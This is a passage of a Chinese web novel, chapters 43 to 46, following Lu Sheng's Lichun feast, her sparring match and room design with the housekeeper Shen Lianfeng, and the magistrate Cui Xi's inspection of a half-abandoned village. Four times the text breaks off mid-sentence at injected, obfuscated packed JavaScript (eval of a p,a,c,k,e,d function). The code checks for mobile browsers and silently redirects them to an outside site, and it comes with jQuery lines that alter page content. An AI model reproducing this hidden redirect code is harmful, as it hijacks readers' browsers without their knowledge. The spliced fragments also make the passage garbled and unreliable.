陆笙细数,虽然有些事是听说的,但她很喜欢这些细节,这些才是生活之中的年轮。 “你要与我一起去么?”崔息问。 “这不是做糊涂事么?我去做什么。而且家里的立春也得过,男主人不在家,女主人总要在的。”陆笙拒绝了,又觉得他这建议不靠谱,他这是怎么了。 县令去巡查不止农耕,司法、税收都会看一看,有时就会有人命案。陆笙想起去年那件事,他是不是心里还在发闷。 “听说去年,去年是你亲自处决的犯人。” 崔息转过头来看陆笙,她的眼神很平静,没有质疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12997063|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有恐惧。 “确实是我亲自的动的手。” “你对家人都太好,有点想不出你那天的模样,应该很威严吧?” “还以为阿乐要怵我。”崔息听她这么说心里有些暖意,同她玩笑。 “威严是威严了,那天云尘的心情应该不大好的,杀了人总还是不舒服。” 陆笙觉得崔息心里多少有些难受。而且这种心情如果没有挑出来勾掉会不舒服很久。从前老庄也会跟杀了歹徒的镖师说说,用他的话就是把心中的结症勾出来。 走镖遇到歹人是常事,性命搏杀不多,但有,不过陆笙通常是驾车那个,被护在最里面。 崔息听了她的话想伸手抱一抱她。 “这么看我做什么?”陆笙觉得他眼中幽深。 “没事,以后我们夫妻能一起写字么?商道复通,宴饮交游不可避免,或许刺史大人也将来此巡视,那阿乐在帖子上落款签名会露怯的。” 这事确实是个问题,她的字进步没那么快,实打实练了个把月,狗爬变成了人爬,勉强有个样子,但给古人看实在是漏洞百出。 陆笙脑子转得快,马上想到会不会是崔息暗戳戳地报复?给他勾破了情绪,心里有些疼痛,所以忽然拿写字一事来折磨自己。 啧,陆笙,你有些阴暗,崔息不像这样的人。 陆笙刚下结论,脑中的反转立刻来临:他真的不是这样的人吗?有时候也挺不靠谱的。 “那你陪我写字,我陪你垒墙?后园当垒一睹石墙和竖一座木架种木香,你是家中男主人,应当出力。” 陆笙把自己的美化工程摆出来,如果他不同意,那自己也不同意。 跟他一块练字很折磨,对比就在眼前。但又不能说他是不安好心,来个不恰当的比方就是和柳公权一个水准的书法家免费给你教学,这还要什么自行车?关键以后这字也用得上,技多不压身。 两个人又沿着溪流走了一会儿,陆笙忍不住还是摘了些野菜,直到两只手都拿满,又给崔息塞了两把。 转头回去的时候还看着遍地的野菜说:“可惜啊可惜。” 崔息左右手拿着荠菜,步态都有些不自然,他调侃一句:“是恨手生得少了?” “才不是,我是可惜不能在这春山环绕的地方跑一跑,有山有水,多好。听说江南道有一条白沙堤,周围环绕着绿杨,有些神往了。” “若……” “什么”陆笙听到他的声音了,虽然很轻。 “没什么,永平县铺白沙堤还需要些时日,说出来凭空叫你好等。” 陆笙笑他:“你还不是说出来了!” 崔息笑而不语,两个人继续一起往回走。 其实他说的“若”是想说上京,种了绿槐的上京,等槐花开风起时去跑,裙摆衣边会旋起一地的花。或者干脆去大明宫,在星夜里,在高高的宫墙下,在空旷的宫道里携手狂奔。 最好没有尽头,他可以随陆笙一直奔跑,如夸父逐日。 崔息想着奔跑,脚步却比来时慢一些,因为明天就要和陆笙分离。 他走得太慢,陆笙渐渐超过他,崔息注视她的背影,又安然地着听她在前面自言自语。 “刚才怎么没想到呢!拿衣服兜着不就好了!” 43. 第 43 章 睡意退潮,意识还未完全露出时陆笙听到一声鸡鸣。 “迟早把你炖汤。”陆笙坐起来,迷迷糊糊地嘀咕一句。 通常她起床有一段赋予期,等待五感被赋予,陆笙偶尔会觉得它们如同轻纱一样缓慢降落在自己身上,包裹自己融入身体,五感之后思维也被赋予,它逐渐运作,分辨此时空间里的气味与自己身处何处。 偶尔梦境汹涌,她的赋予期就会变得很长。 她需要将梦境剔除,有时睁开眼五感仍旧在有条不紊地将梦感排斥出体外,如同五感被赋予时的倒放,梦的主人想去捉它,它却化作轻纱最后被光融化,只剩下一点幽微的无法言说。 “糟了。” 陆笙猛地睁开眼,“噔噔噔”从楼梯上下去。 她要赶紧去看自己的幼苗,她昨天好像忘记浇水了!来到楼下,陆笙撕了一条纸然后将纸搓成细细的长条,挨个往小陶杯里探过去。 还好,还有些水分。 最要紧的事情没有出错就好,陆笙打个哈欠慢悠悠地把窗撑开,外面果然天光未出,天是逐渐变淡的蓝色。 陆笙吹灭蜡烛,折叠好阿木凌的信准备梳洗。慢悠悠地梳洗完,她又将阿木凌的信拿出来读了一遍。 她说州府太吵,但给的工钱很高。这里每天早上没有鸟鸣,吵架、打骂声还有吆喝声很多,跟打雷一样。现在夜里也不能多睡,她开始学织布和绣花。又在最后写道:“陆笙,你要保佑我,不然只能给你绣花成猪了。” 信到这里戛然而止,后面的信似乎被她撕了,前面的几个字还被什么晕开了痕迹。陆笙再一次觉得被摄住,那种直觉又开始裂土生长。 再看一眼,陆笙忽然沉思,阿木凌的字好像比自己好。拍一拍脸去掉过度的情感消耗,陆笙把自己收拾了遍。 今天是立春,得支棱一些。 天色明亮的时候阿灵来敲门,今天她系了红绳穿着圆领袍,粉色的,娇俏可爱。 “夫人立春安好,沈管事已经准备妥当啦。” “嗯好,出发吧。” 陆笙给阿灵塞了一包糖,阿灵迟疑,陆笙说给她阿婆的小姑娘才道谢收下。 到门口时,陆笙问沈莲丰:“他走了?” “未时便出了门,秦厌也跟着去的,他把小毛锤一并接去。怎么,娘子不知?” 陆笙昨天没问崔息时间,以为他还是跟往常去衙署的时间一样,想着还能再见一面。 “娘子莫要太想阿郎,我们这一大家子还需仰仗您呢。”沈莲丰打趣她。 陆笙摆摆手:“没有没有,只是……” 阿灵在沈莲丰后面,两个人表情一致,似都在问:只是什么? “只是……只是我们今天要去买野菜,快些,莫要赶不上了。” 沈莲丰和阿灵听了都笑。 去菜市的路上陆笙带着她们去了馄饨店,店内的柱子上贴了一张纸。 “本店供应荠菜鲜肉馄饨,现采现包,绝鲜!” 阿灵似乎对馄饨店很感兴趣,又一字一句地念附近有字的招牌。 三个人要了三碗荠菜鲜肉馅馄饨,都被绝鲜两个字打动。 馄饨带着一片氤氲的热气过来,阿灵吹了好几下开始喝热汤,沈莲丰拿瓷勺舀起一个馄饨小口咬。 陆笙则提议不如咱们家也买些馄饨皮子,省了自己去做。 沈莲丰点头同意,甚至说可以时不时来买一些,她第一次吃这么爽滑的皮,皮白若雪,滑如丝绸,店主人的本事很了不起。 三个人就如此,慢慢走,慢慢逛,买了馄饨皮、各种春日菜蔬和十斤猪五花,猪五花拿着不方便,就加了几个钱叫人送来。 今年陆笙还在一些菜蔬店见到了莴苣,这蔬菜不太常见,不知是谁家种得,她买了些回去。又带回去一株枸杞苗和若干枸杞嫩芽。 陆笙的阿婆每年春天都要拌,据说吃了能明目。 - 回程时陆笙跟阿灵说起这春日五辛盘,也就是春盘前身。 “前人以为冬日寒冷,立春便要吃些辛辣物来发肝气,原来这五辛盘真就只五种,可能是卷饼包什么都好吃,渐渐就不再只是五辛,你喜欢吃什么就包什么。” “那娘子买这么多猪肉做什么?猪肉也能包在饼里头吗?”阿灵对做菜很感兴趣。 经阿灵这么提点,她又想到跟猪五花可以塞入白吉馍里头,做肉夹馍吃。现在此处没有青椒,做出的肉夹馍不会让老秦人室友震怒。 “能包,菜蔬和肉都能包,若阿灵愿意还能试试包桂花糖。” “真的?” 看着阿灵澄澈的双眼,陆笙神色认真:“你放一点试试,万一你喜欢呢?” “夫人……” 沈莲丰在旁边拉一拉陆笙的袖子,陆笙以为她要说自己促狭,但她只是指了指远处的望春。望春开花时还没有叶,纤细的木枝条上张开一朵又一朵的花,白色的花瓣底下一片粉。 “哇,真像一树的鸟,要飞起来了!” 陆笙附和:“阿灵,我觉得你似有作诗天赋,等字认多了要不要学学写诗?” “阿灵学不及那么多东西,能把做菜和认字做好就足够了。” 沈莲丰在旁边看二人说话,心里想家里或许也可以栽一树,这样明年时在家里就能听娘子和小婢叽叽喳喳,或许年纪大了,她喜欢这样的热闹。 崔府的厨间许久没有进去,陆笙发现阿椒不在,一问阿灵,原来是她相中了人家,要准备嫁人。 “我们要不要出礼?”陆笙轻声问沈管事。 沈管事说不必,她在府里半年工都未做满,还没到走人情的时候。若给她走了人情,几年以后其他人该怎么走呢?此事不患寡而患不均也。 陆笙摸摸耳朵点点头,觉得有些可惜。 “娘子的刀工厉害,今日春盘可要麻烦娘子了。” 阿灵听到沈管事说娘子要动刀,立刻加快了手上洗菜蔬的速度。葱、蒜、韭、蓼、芫荽在水波里轻晃,尘泥褪去,春绿更艳。 陆笙在里面挽起袖子,拿着那秦厌送的剁肉刀在砧板上切肉。这刀好用,几乎费不着什么力,切面也平整,到时候炖出来肯定好看。 她把大砂锅垫葱姜禾稻,葱要大块,姜要拍松,蔗糖酱油和黄酒,锅边也封上酒液,大火烧开再文火慢炖,剩下的交给时间。 现在吃猪肉虽然逐渐式微,但陆笙却仍然对其有偏好,浓油赤酱加甜味,那是除不尽的家乡味。不过爱甜这点曾被老庄解读成家境好,有天府和上京的口味,那些地方的人爱吃甜。 料理完猪肉,阿灵的菜也洗净,陆笙换了砧板利索地继续切菜,葱从中间剖开,然后手指摁压,锋刃上下之间,葱丝便成。 阿灵眼睛瞪大,又觉得危险不敢出声。切完葱丝,又开始切萝卜丝,萝卜爽脆,一刀下去仿佛一片月色飘落,但陆笙并不停手,一片片月被她排好,抽丝剥茧似得将它们分解开,若萝卜丝再长些,或许真可以穿针引线。 看娘子做菜很欢喜,阿灵恋恋不舍地收回目光,专注在自己的肉馅上。剁完肉馅时,她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022409|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头,娘子已经在摆春盘,中间是面饼,有两色,金色的是鸡蛋烙的。 立春的菜色被她们俩有条不紊地做出来,到中午时已全部做完,五花肉也闷好了,给阿灵她们分了一份,杨珞云不知怎么还没来。 婢子和仆役谢过她,但有陆笙在打架不敢动筷,一走大伙儿的架势简直有点像天狗食月。 不知道春日能说话会不会说:别咬了! 躲在门后偷听的陆笙嘿嘿一笑,很是自得,做菜的本事没白练。 回到退休居,丰娘很贴心地叫人把饭菜送来,她自己则拿了一个陶罐来,里面有一枝含苞待放的桃花。 “厨房边的桃树修剪,觉得可惜就插了一枝,不知道娘子喜不喜欢?” 桃花枝像一侧伸展,仿佛风来,美得浑然天成。 “喜欢!”陆笙两眼放光。 沈莲丰将花瓶摆在陆笙的那面全是柜子的墙上,白底粉苞,实在像画。 陆笙留她吃饭,府里会和自己吃饭的人不多,丰娘应该算一个,但陆笙还是怕她会拒绝。 “我正有此意呢。”沈莲丰笑着说。 陆笙敏锐,觉得她似乎话中有话。 洗净手,捏一片金色饼皮,加入五辛,脆韧的口感和辛辣的味道让她眼睛眯起,这五辛实在冲得厉害,怪不得前人有发“肝气”一说。 “夫人,那天你与阿郎涂画了谢家的门窗,是么?”丰娘捏着春饼,上面有一小个缺口,缺口上一圈口脂,色如桃花。 陆笙大脑空白了一瞬,感觉有无数思绪狂奔。 “你们涂画的东西已经被洒扫的婢子解决了,底下人怕管事责骂,所以谢家人不知道。”丰娘又咬一口把带着口脂的那圈咬去,眼中带着笑意,是要她安心。 陆笙舒一口气,她小心问:“丰娘怎知此事?” 沈莲丰放下春饼,在一块新的春饼上用葱丝搭了一个方框。又拿筷子蘸酱,画了几个点,指了其中一点说:“这是你们去的谢府。” 另一个点是做买卖的市集,更精确一些就是卖菜蔬、酒水的那条道,剩下一处是卖首饰的地方。 “娘子既然没问,那便是知道我画的意思了。其实每户人家买卖菜蔬的时间是固定的,我们家与谢家相似,有什么大小事,问一下买菜蔬的仆役可能会知些轮廓,这事娘子熟悉。” “当然,消息不是每次都对,每次都有,也得澄清辨别。这是捕风捉影,要有心探查,便要用其他手段。”沈莲丰说得不疾不徐。 “丰娘说这些是何意?” “是望娘子安心。” 陆笙手拢在一起低眉承认:“涂画一事是我带着云尘做的,一时心气虚浮。” “不是要问娘子过错。”沈莲丰声音轻缓温柔,像是怕吓到她一般。 “谢家行事乖张冒犯阿郎,要我的脾气怕是要收他家几条命,娘子哪里是心气虚浮,是太憋屈自个,但我知道,您是要做大事的。灭杀几人简单,要换一地面貌却难,忍字头上一把刀,只愿娘子莫太委屈。” 陆笙觉得自己何德何能,得丰娘偏心至此。 沈莲丰又吃一口春饼,下了决心。 她用平淡的语气说:“您已知阿郎大事,也知我是公主派给阿郎的,不知阿郎是否说过,从前每月我都要向公主说些阿郎的事,虽未怀歹心,但终是隔了一层。我说阿郎仁慈,是因为他知道此事。”长舒一口气,心事终于落地。 陆笙坐在桌子那一侧,默然而对。 沈莲丰话题一转说道:“有一事,望娘子成全。” 44. 第 44 章 拳沉如铁,推手似水,陆笙第一次知晓沈莲丰的功夫。 “娘子,不要留力气,打得不痛快。”沈莲丰一拳出了对还在防守的陆笙道。 陆笙也不再留手,摆好架势向地借力,以腰带肘,以手带肘,但每一拳都被化劲亦或是避开。 交手这回事一旦上了手便很难留一线,尤其是水平没有天差地别时,于是沈莲丰感觉陆笙的拳越来越重。 她眼神郑重专注,一接,一化。可她化的劲是有限的,陆笙快抵达到了那个极点。 一时间比试陷入焦灼,从比拼技术到耐力,陆笙还在继续出拳,打入沈莲丰的界限却如水浮木,力被不断卸去。 陆笙继续打、再打、继续打、不停地打。 仆役婢子们都不敢光明正大看,躲在屋柱后大气不敢出。 夫人和沈管事打起来了,谁敢去劝,他们也不会武呀。 阿灵刚回来,她正想找娘子,她得到个口信要说予娘子听。只是一进院子就但看到她们在打架,阿灵在柱子后面抹眼泪,想过去又不敢过去。 “娘子,收力!”沈莲丰忽然大声一喊。 她后悔去测她的极限,陆笙有力大的天赋,且极具耐性。这话说完,陆笙的正手肘向后,背部微仰,人似一张弯弓要发力,一喊,她生生往后倒,幸好被沈莲丰拉住了手。 看到两个人停下来,阿灵赶紧跑过去。 其他人看到心里佩服,阿灵平日里怯怯的,这时候竟然敢去劝。 “夫人,沈……管事,别打……呜呜。” 阿灵眼泪跟断了线一下落下来,她也看不清到底谁在那,抓着两个人的衣服不撒手,说话断断续续地。 陆笙听了阿灵的话大笑,但一摸手绢,诶,没带。 沈莲丰把自己的手帕给阿灵,笑说:“我与夫人只是比试,哭什么。” “啊……” 阿灵不明白,她可没见过无缘故这么下狠手的,寻常吵架都是互相骂几句,或者扯头发,今天那架势像是以命相搏。 她还以为……呜……她还以为…… 陆笙看这小婢子眼泪还是止不住,看看丰娘,直接伸手抱了抱丰娘。 “你看,我们没打,就算打了也已经和好。” 丰娘被陆笙的举动吓一跳,但还是顺从她的动作,双手在陆笙的背上拍了拍。 “好。望娘子、沈管事宽恕,阿灵太鲁莽……呜……”她终于回过神来又意识到自己做了什么,吓得跟陆笙和沈莲丰请罪,但后怕的那股劲又借势涌上来一些。 “这有什么宽恕不宽恕。”陆笙摆摆手。 “哦,对!夫人,杨娘子让我传口信,她今天有些事,傍晚才能来。”阿灵为差点忘记重要事狠狠掐了一下自己的手。 “好阿灵,我知道了,快去洗洗脸,你简直像小花猫。” 沈莲丰擦擦汗,吩咐人下去烧些热水。 等水热的时间里,两个人又试了几下刀剑,声音铿锵清脆。 陆笙感慨:“还怕丰娘不喜我习武呢!现在好了,可以光明正大舞刀弄枪,但还得请秦厌教些本事。打一打真是爽气,人轻快了许多。” 自己武技稀松,全靠硬拼她是知道的。 “我朝太宗皇帝以武立国,只是如今有些衰微,南北不利。说到秦厌,他本事很好,娘子随便问,他若不愿,我帮你扣住他。”沈莲丰擦去面上汗珠,说话有了些从前的爽利蛮横。 “那就多谢丰娘了!” 沈莲丰从陆笙的窗外望出去觉得有些空,她问:“娘子要不要移些花木来?窗里望出去直接就是墙,再就是被墙遮了底的山,有些无趣了。” 刚问完,杨珞云过来了,手里还提了一只很大的火腿。 “沈管事、夫人,你们的水烧好了,我……我喝口茶,歇息一会儿。” “这是怎么了?”沈莲丰不解。 杨珞云给自己倒一杯大茶,灌下后喘匀了气才答:“这说来话长,二位还是先去洗澡免得着凉,我……我去找阿灵咬春。” 说完又指了指桌上的大火腿:“这是我给毛锤挣的火腿,它能吃吗?” “可使不得,太咸。” “看她,这是要小毛锤贪心不足蛇吞象。” 打趣一番,三人各自散了,洗澡的洗澡,咬春的咬春。 沈莲丰在水中倒入些蔷薇露,像跌入大河大湖一样把自己全部溺进去,等实在憋不住气再猛地从水里探出头,大口呼吸空气。 加了蔷薇露和花瓣的胰子被她握在手心,一点点搓摩。 这块胰子还是公主给她的,当年她做了许许多多,因为崔娘子也喜欢蔷薇露的味道,自己与那两位还能说上些话,所以公主也赏了她小半箱。 每次看到这块胰子她就会想到两位,两位当年还未被世事摧折的风华。 公主和崔娘子的关系实在很好,所以当崔娘子去世,阿郎当得进士时自己被派去打理他府上事时,她是感慨的,多年过去,公主爱屋及乌。 只是关切得太过了些,阿郎毫不费力就知道了。他亲自找公主抗议,认为她无端监视自己,还要给自己安排亲事实在太不顾及自己的感受,只是自始至终阿郎都没有说那个人是自己。 公主以为他还不知道,夸奖了沈莲丰,又说盯着他自己才安心。 其实沈莲丰也不知道自己为什么要说给娘子听,或许只是自私地求个心安,或许也想提醒陆笙帮阿郎防备自己一些。 沈莲丰活到现在如此纠结的事情一共两桩,这是其中一桩。没能当个完全的耳目,又不能背弃公主,但这样做她又能得暂时心安。 她的心,自始至终都不够坚强。 沈莲丰又把自己浸入水中,再出来时她恢复寻常模样,还是那个安内有方的沈管事。 / 陆笙出来得快一些,先在退休居烘起了头发,杨珞云坐在旁边咬春。 阿灵在旁边静候,她来给杨娘子送她落下的笔时陆笙正好出来,让她留一留。 “阿灵,你以后想做什么呀?”陆笙问她。 “去州府做工,听说州府有很多大酒肆,我想去做工学点本事。” 阿灵其实很想让夫人教自己做菜,可是又害怕被辞,雇自己来是看重自己有些粗浅的活,怎么反倒要免费学人家的手艺,上学还需纳束脩呢。 她的这种冲动在阿椒成亲以后越来越强烈,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆笙又问沈莲丰:“丰娘,之前你说我窗外缺花木,请教一下,种什么好?” “不如去看看?说总是道不尽的,直接去看花识木直接些。”沈莲丰抿一口大茶说道。 “有理,什么时候去?现在?还是明天?”陆笙跃跃欲试,事情一下太多,把花木给忘记了,现在可是春日,一日赛一日得热闹。 “现在就去吧,珞云去么?” “不了,我吃完回去给人算账。” “好,到时我聘你做账房叫你算十个铺子的账!” 陆笙知道杨珞云会帮一些小商铺算账,她算得快,这些活计都是一次性的,也不耽误自己的事。 盘了简单的发髻,牵了马出发。 骑马时陆笙发现地上有雪似得梨花,怪不得说大雪是“忽如一夜春风来”,骑马时仿佛真是下雪,只有落在唇边耳侧才发现这是柔软的春日花瓣。 陆笙勒一勒马,沈莲丰也跟着慢下来。 两个人看田中有人种菜犁地,紫云英虽然还没开花,但已经挤满了田垄,一片朦胧新绿后有一只燕子风筝摇晃着飞舞。 “娘子,你笑什么?”沈莲丰有些不解。 “没什么,只是笑笑自己。丰娘你看,春天来了。”陆笙说得牛头不对马嘴。 沈莲丰没有问,跟着她一起看这个春天。 45. 第 45 章 崔息背手站在廊下,身后跪着三个村正。秦厌看他们面面相觑的模样轻咳一声,将腰间的长刀出鞘几寸。 倒春寒的天气,雨声密密地逼出冬季最后一点冷冽,这三寸铁光一照,冷上加冷,几人是颤颤巍巍不敢再有动作。 “稻田荒废,懈怠春耕,你等知罪?” 溪口村村正胡子拉碴,幞头头巾布料虽好但已补过几次,他上前一些回答:“我等没有懈怠春耕,实在不知大人何意啊!” “小人与溪口村正王怀泉所想雷同,不知大人何意!” “小人也是!” 崔息转过身来,冷笑两声,他骑马而来,看到农田野草密集,田垄与天地都无法区分,这还不叫稻田荒废? 这三个村正居然死皮赖脸并不承认,崔息更是觉得他们是有心欺瞒,尤其是他特地选了最远的村落,不带多余人马,更不按部就班,就是为打一个措手不及。 崔息左右踱两步问道:“王村正,不知你溪口村有多少人,种些什么,饭碗里吃些什么,近年可有灾祸?” “禀明府,我溪口村有村户二十,平日里种些菜蔬、稻米,吃的是稻、薯蓣,近年无灾祸。” “本县路过溪口村南,问路过老人,那一片无人耕作之地是稻田,耕作晚一些也就罢了,野草已如人高,重整土地要人力几何,时日几何不用本县提醒吧?既王村正说种稻米,难不成芒种日再去开垦耕作!”崔息势如雷霆。 “明……明府,小人并未说谎,此事说来难懂,请明府邸随小人回村去走一圈,您去了便知晓。” 崔息皱眉,让几人先退下。 “公子,去么?我听说永平县有地方是土匪窝,专门出去劫财,再躲入山林里头。你说会不会……” 秦厌有些担心,他们就两个人,面对面打他是一点也不怕,就怕别人放损招,阴招。他出事不打紧,公子可不能出事,又庆幸自己把猫托付给了汤伯。 “等雨停便出发。”崔息毫不犹豫。 “是,公子。”秦厌行礼退下。 崔息站在亭中,风一阵又一阵,吹落了不知哪里的花。 他伸手出去,雨丝落在手心,冰凉的,白色的花瓣却全从指尖略过,秦厌喊他的时候恰好有一片落入他手心的水波之中,可手心有限,水波荡漾不开。 于是崔息走了几步,手微微倾斜,雨水带着花落到溪水中流淌而去。 “公子?”秦厌告知他雨已停了,三位村正也已准备出发。 “嗯,走吧。”崔息接过剑,绑在自己腰间。 秦厌撇撇嘴,公子明明在走神。 王怀泉骑驴在前,崔息和秦厌骑马在后,路不算好走。 跟着这位王村正走了半个时辰,崔息发现没有耕种的田比他想得还要多,但是按照王怀泉的说法,溪口村还没到。 出发时阴云已开,山间的雾却逐渐升起,他们走入茫茫山雾中,翠绿与萎色时隐时现。 王怀泉在旁边禀报:“明府,马上便到。” 崔息和秦厌不说话,下马牵行,握紧腰间的兵器。 过了缭绕如练的雾气,又绕行了一个时辰,村落终于在眼前展开。 有路过的村民问王怀泉。 “村正,这俩谁啊?” “哦,路过的粮商,想看看我们村的稻米。” 村民背了满篓的山菜、笋子大笑:“村正,你是老实人家,怎么诓骗人?我们哪有什么稻米可卖。” 崔息微微颔首:“敢问小哥,来时见诸多农田,怎么,这里没有多的稻米么?” “诶,不愁吃穿还种什么多余的稻米,反正也卖不掉。”村民摆摆手。 王怀泉在旁边不敢作声,背后冷汗直冒,生怕这人说出什么太不恭敬的话。 这念头刚闪过就听得:“客人,不是我说你,大老远跑这来做什么?是让谁给骗了吧,别是从永平县来的啊,那地方狗都不愿意待。” “那这是什么?”秦厌指了指跟在这小哥身后的黄狗,黄狗看着他的手指左右晃动脑袋。 “好了,快回去,在外面乱晃什么,你妻还等你呢!” 秦厌看看公子,心里偷偷重复一遍。 夜里,王怀泉的妻子苗灵芝用笋炖肉招待了他们,还有一些没见过的菌子。本来还要杀一只鸡,崔息制止她说不必破费。她却说难得来个客人,怎么能不招待?所以还是杀了。 王怀泉在旁边看看这个年轻的县令心里想,他多半是晓得了什么。 果然,吃完晚食,县令就召他问话。 “王村正,今日多有冒犯。” “岂敢岂敢……” 冒着黑烟的如豆灯火照出崔息皎然的面孔,他难得地叹一口气。 “王村正,本村何以如此,若恢复农耕也能养得起这许多人才是。”崔息其实已有些推断,但还是问一问牢靠,免得如今日一般凭空断定。 “大人有所不知,往前几十年溪口村的人要住到您说得那片地。从前村里还有村塾,粮食南北都可以走,可现在往北走,县里的水道堵塞了,往南边去,南边的人不收我们的稻子。人挪活,树挪死,何况村里还有几个钱的人家,大伙儿都到过县里甚至是州府,看得多了也就不一定非待在这里,于是这人就越来越少咯。” 王怀泉说到从前的时候眼里有些亮晶晶的光,想来从前很是辉煌。 他又补了一句:“你瞧见我们那一片樱桃树了没?据说上京的皇帝也赏赐春闱的进士们吃,我们这的樱桃长得好,从前县里谁不知道?那读书的没有不来买樱桃的!”王怀泉语气有些激动,但马上想到自己是在对县令讲话,压一压情绪才继续说。 “现在,呵,现在根本吃不完,熟得烂在地里,鸟雀倒是欢喜,明府若再晚些来,能听得婉转莺啼。” 崔息半垂首,灯火照不出他的面容与表情。秦厌在一旁也沉默,听这种话心里总是不好受的。 “老头子,给客人端些蜂蜜水来。” 苗灵芝敲门,王怀泉喊一声:“来了!你慢点!” 她一共泡了三碗蜂蜜水,苗灵芝与自己的丈夫饮一碗,崔息与秦厌各一碗。 “这蜂蜜水也不知客人吃不吃得惯。” “诶?好苦!”秦厌五官皱起来。 “先苦后甜,小郎君要喝光呀!”苗灵芝怕秦厌直接吐掉。 王怀泉在一旁说:“这是好东西,若……若喝不惯就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057862|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “秦厌,喝下去。” 崔息说完自己一口一口将这苦蜜吃下。 秦厌也没想吐,虽然自己喜甜,但是对上王村正和苗娘子的目光,他哪还能吐? 吃完蜜,崔息又问一些其他村落的事,王怀泉说大部分地方都是这么个情况,有钱的走了,老弱贫困的留在原处,但这块地没有背弃他们,好土地,养人活命没问题。 两人的女儿是嫁去了州府,但他们在这生活了大半辈子,实在舍不得走。 第二日,村里忽然响起一阵爆竹声,崔息闻声出门,苗灵芝说:“这是林二家有孩子满月,惊扰客人。” “请问苗夫人,溪口村里知道永平县水道复通之事么?” “自然是知道的,这事早传遍了。” “那如何不耕种农田呢?我看从前有不少商人来此收稻的。” 苗灵芝看这年轻人聪明样,怎么这点想不通呢?于是她便给崔息解释:“从前收粮的有,官府买粮的也有,可现在不一定,谁敢打包票呢?种今年不一定赚,但等一年知道有没有人要这货物才稳呀!” 崔息揉揉眉心,此事确实如此。 “林二来啦!”苗灵芝迎过去。 “给二位带了些晒干的菌子和一块吃不完的腊肉。”林二把东西给苗灵芝,又看了眼站在门口的崔息。 “这不是昨日的那位客人嘛?原来是落脚在村正家呢!”崔息点一点头,对他说了两句祝福的话。 “昨日的浑话客人莫放在心上,村正是好人家,打趣而已。祝客人万事胜意,一路平安。”林二拱拱手笑着回话。 寒暄一阵,林二就离开,看他手里提着的东西,约莫还要去别家。 崔息从村正家走出去,村里的屋子不少,荒芜的也很多,但从前似乎家家都爱种花,梨花、杏花、桃花、樱桃花遍布,昨日天色偏阴,但这里却一片灿烂。 绕了一圈,回去的时候秦厌已经和王怀泉一块回来。 他们手里拿着些笋子和野菜,苗灵芝要给他们炖腊肉吃,秦厌从没上山挖过笋子,好奇跟着一起去。 “村正,不知这里能买些苗木么?” “客人想要我带你去挖苗就是,说什么买不买的。” 这里的苗木不值钱,而且王怀泉也不敢收这位大人的钱。 于是回程的时候马匹身上就多了许多树木。 秦厌看着心情不错的崔息问:“公子,你真没给钱?” “没有,只留了一块银。” 秦厌开心了,他吃了村正家太多的笋子和腊肉,还顺带拿了一罐蜂蜜,准备叫人带了给阿木凌尝一尝。虽然知道公子不会叫别人白白付出,但听到他和村正说话的时候他还是有点忐忑,自己身上没带一分钱,总不能压了剑吧! “驾!”崔息抽一记马鞭,马儿四蹄奋疾,快快向前奔去。 秦厌也不落后,追着就上去,瞧这架势,是准备缩短一半时间回去,可惜,缩短一半时间也需三四天。 夜里时又下起小雨,秦厌举着松脂火把,火在细雨里四处躲闪,路途分辨不清。 暗处有几双眼睛盯着这两个人,一声如夜枭的哨响吹起,草丛簌簌。 46. 第 46 章 陆笙的菜园子已经颇有模样,竹篱笆、石板路还有移至轩窗外三米的桃李,只是现在的枝条还有些萧条,希望以后能有一片绿阴。 她定的木架也到了,根据窗户开的位置,她将退休居做了两段分隔。 最里面是私人区域,木架的模样是长方形,中间可供人通过,因为要遮住阁楼,陆笙加了可旋转木窗,通过轴实现开关,三片为一组,一共设计了九组。 下面左右木架都是可以储物的空间,为了隐私,她还用竹帘作为架子的背景,中间的用木珠帘分隔开。 沈莲丰画了一张图纸,杨珞云根据图纸计算了一下如何串珠最优,她们把部分木珠的颜色染深,于是木珠帘上就有了一朵半开的桃花。沈莲丰说这个可以按时令换,要是有超高的晕染技术还能做更多的变化。 另一处的分割在门口,陆笙不喜欢开门即所有,所以叫人安排的玄关,玄关处也加了木珠帘。沈莲丰对陆笙的房间布置能力感到惊诧,不愧是娘子,能想出这么多的点子。 杨珞云也学了去,说可以节省好些时间,平日要用摆放在这个玄关,对她来说挂上木牌就更加好用,她出门要带的东西多,常忘记。 